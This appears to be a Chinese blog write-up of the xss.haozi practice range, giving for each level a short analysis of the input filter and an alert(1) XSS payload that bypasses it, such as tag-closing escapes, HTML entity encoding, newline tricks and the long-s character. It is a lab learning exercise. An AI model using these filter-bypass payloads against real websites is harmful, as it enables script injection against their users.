xss.haozi靶场通关

做完xss-labs靶场后,再继续做这个靶场,感觉这个不是很难,毕竟在第一个靶场也获取了一些经验,但是这个靶场偏向技巧,所以还是以了解为主。

0x00:

分析:对我们的代码未作出限制,因此这里可以使用多种方法来进行绕过

<script>alert(1)</script>

 0x01:

分析:这一关有了限制条件,这里给出的限制条件是<textarea>,而<textarea>标签下所有js代码不能执行,所以需要先闭合该标签。只要逃出<textarea>标签即可

</textarea><img src="1" onerror=alert(1)>

测试结果:

 0x02:

分析:我先使用<script>alert(1)</script> payload进行测试,发现写进去未执行,原因是这里给出的限制条件是input标签,我们可以尝试闭合input标签,即添加"和>。逃出input标签后就行,可以使用的payload比较多;

"><script>alert(1)</script>

 测试结果:

 0x03:

分析:限制条件是replace方法和过滤了()。我们可以通过实体编码括号和反引号``来绕过。

 测试:

 0x04:

分析:再上一关的基础上过滤了反引号,那几很简单了,采用编码的形式来进行绕过:

测试:

<img src="1" onerror="alert&#40;1&#41;">

 0x05:

分析:刚开始我们输入简单的payload进行测试,发现我们都是以注释的形式展示,那我们的js标签肯定生效不了了,只要逃出注释符,那我们的payload就会执行。

 测试:

--!><script>alert(1)</script><!-

 0x06:

分析:这里给出的限制条件是对auto和on开头只要加上等号就会变为下划线,加上大于号大于号也会变为下划线,过滤了autoforce和onerror事件,这两个事件我们就用不了了,我们可以使用一个换行的技巧前提要加一个type属性值image和src映射路径属性,然后再让等于号和属性分开。

测试:

type="image" src="1" onerror
=alert(1)

 0x07:

分析:限制条件是对<></>标签进行了限制,不能闭合标签,那么这里我们可以使用<img标签来通过。

<img src="1" onerror="alert(1)"

测试:

0x08

分析:通过下面代码,这里给出的限制条件是对</style>进行了过滤,如果输入就会显示后面的编码内容,并且style标签中只能出现文本或者符号,js代码无法生效,我们尝试换行技巧

测试:

</style
><script>alert(1)</script>

 0x09:

分析:

通过输入简单的payload,我发现返回值为Invalid URL,于是我查看了代码,原来是需要加入url地址啊,那就很简单了;

 测试:

http://www.segmentfault.com"></script><script>alert(1)</script>

 0x0B:

分析:通过简单的测试,发现我们的代码都转为了大写,然后查看过滤函数,和我想的一样,toUpperCase函数;直接编码就行

测试:

<svg/onload=&#97;&#108;&#101;&#114;&#116;(1)>

 

0x0C:

分析:简单测试下,发现关于script标签的都会过滤,那很简单了,要不使用实体编码要不双写,而且继续对代码转为大写,上一关的payload完全符合啊,很巧,哈哈哈哈

测试:

<svg/onload=&#97;&#108;&#101;&#114;&#116;(1)>

0x0D

分析:限制条件是通过正则表达式过滤了<、/、"、'这四种符号,并且指定了我们的input在//注释语句中,首先逃出注释语句

测试:

-->
alert(1)
-->

0x0E

分析:

这一关我想了好久还是没想到,最后查看了别人写的分析才明白了。

这里给出的限制条件是使用正则表达式过滤了所有字母,并且将字母小写转为了大写,如果输入<script>就会转为<_CRIPT>,所以这里只能使用一个特殊的符号 ſ ,它可以在转换为s而不被过滤,并且由于js中区分大小写,所以还需要将里面的js事件代码进行十进制的实体编码。

测试:

<ſvg onload=&#97;&#108;&#101;&#114;&#116;(1)>

 

0x0F

分析:

测试:

aaa'),alert(1)//

0x10

分析:这一关没啥限制,直接在<script>标签输入alert就行

测试:

alert(1)

 

0x11

分析:限制条件是对`,“,<,>,,\n等进行了过滤,我们输入双引号它会显示\”,其实这里并没有将双引号成功过滤,所以还是可以去使用。

测试:

");alert("1

0x12

分析:

测试:

</script><img src="1" onerror=alert(1)>

 多练习,掌握经验。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值